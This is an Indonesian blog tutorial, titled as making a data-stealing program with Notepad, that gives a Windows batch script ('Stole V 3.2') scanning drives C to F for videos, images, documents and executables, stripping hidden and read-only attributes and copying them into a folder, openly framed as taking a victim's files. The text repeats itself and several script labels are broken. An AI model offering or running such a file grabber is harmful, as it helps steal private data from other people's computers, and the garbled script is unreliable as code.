Cara Membuat Program Pencuri Data Dengan Notepad
Program Ini Berfungsi Untuk Uencuri Data Seperti:
*.3gp
*.jpg
*.avi
*.wmv
*.rm
*.mpg
*.doc
*.xlsx
dan lainnya sudah tersedia dalam script berikut, caranya mudah banget :
1. Buka Notepad kalian melalui accessories atau melalui Run ketikan notepad.
2. Setelah kebuka notepadnya copy paste script berikut :
Sciptnya
3. Kalau Sudah save filenya dengan ekstensi *bat dan Save As Type nya isi dengan All File
contoh : Curidataorang.bat
sudah jadi terus buka file nya tadi yg sudah di save dan hasilnya sperti gambar di bawah ini setelah di buka
anda sudah tinggal pilih yang mana aj yang mau di curi klo msalkan 3gp anda tinggal msukkan angkanya aja yang sudah ada anak panah nya itu lalu langsung tekan enter
>
*.3gp
*.jpg
*.avi
*.wmv
*.rm
*.mpg
*.doc
*.xlsx
dan lainnya sudah tersedia dalam script berikut, caranya mudah banget :
1. Buka Notepad kalian melalui accessories atau melalui Run ketikan notepad.
2. Setelah kebuka notepadnya copy paste script berikut :
Sciptnya
echo off
color 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Stole V 3.2
msg * Digunakan untuk mencuri
msg * File atau data2 korban
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Stole V 3 .2 ³
echo ³ Author : sohai ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption
echo ------EKSTENSI FILE----------
echo [1] 3gp [4] jpg [7] doc
echo [2] wmv [5] rm [8] xls
echo [3] avi [6] mpg [9] Exit
echo [10] exe
echo =============================
echo.
set/p "pil=Masukan Pilihan: "
if %pil%=='' goto option
if %pil%==1 goto 3gp
if %pil%==2 goto wmv
if %pil%==3 goto avi
if %pil%==4 goto jpg
if %pil%==5 goto rm
if %pil%==6 goto mpg
if %pil%==7 goto
if %pil%==8 goto m
if %pil%==9 goto keluar
if %pil%==10 goto exe
goto option
:3gp
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal
goto option
:goto wmv
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
cls
echo sudah tidak ditemukan file nyah
pause >nul
goto option
:avi
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:jpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:rm
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls
goto option
:mpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:doc
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:xls
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:exe
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
:keluar
msg * data telah ter ambil!!!
msg * Hayoo !!! Dta kmu tuh apa ya???
msg * HEhehehehe
msg * by ishak
Exit
color 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Stole V 3.2
msg * Digunakan untuk mencuri
msg * File atau data2 korban
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Stole V 3 .2 ³
echo ³ Author : sohai ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption
echo ------EKSTENSI FILE----------
echo [1] 3gp [4] jpg [7] doc
echo [2] wmv [5] rm [8] xls
echo [3] avi [6] mpg [9] Exit
echo [10] exe
echo =============================
echo.
set/p "pil=Masukan Pilihan: "
if %pil%=='' goto option
if %pil%==1 goto 3gp
if %pil%==2 goto wmv
if %pil%==3 goto avi
if %pil%==4 goto jpg
if %pil%==5 goto rm
if %pil%==6 goto mpg
if %pil%==7 goto
if %pil%==8 goto m
if %pil%==9 goto keluar
if %pil%==10 goto exe
goto option
:3gp
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal
goto option
:goto wmv
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
cls
echo sudah tidak ditemukan file nyah
pause >nul
goto option
:avi
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:jpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:rm
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls
goto option
:mpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:doc
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:xls
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:exe
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
:keluar
msg * data telah ter ambil!!!
msg * Hayoo !!! Dta kmu tuh apa ya???
msg * HEhehehehe
msg * by ishak
Exit
3. Kalau Sudah save filenya dengan ekstensi *bat dan Save As Type nya isi dengan All File
contoh : Curidataorang.bat
sudah jadi terus buka file nya tadi yg sudah di save dan hasilnya sperti gambar di bawah ini setelah di buka
anda sudah tinggal pilih yang mana aj yang mau di curi klo msalkan 3gp anda tinggal msukkan angkanya aja yang sudah ada anak panah nya itu lalu langsung tekan enter
SELAMAT MENCOBA SEMOGA BERHASIL . . .
Post a Comment
Copyright © 2015
All Right Reserved
Designed by M. Ishak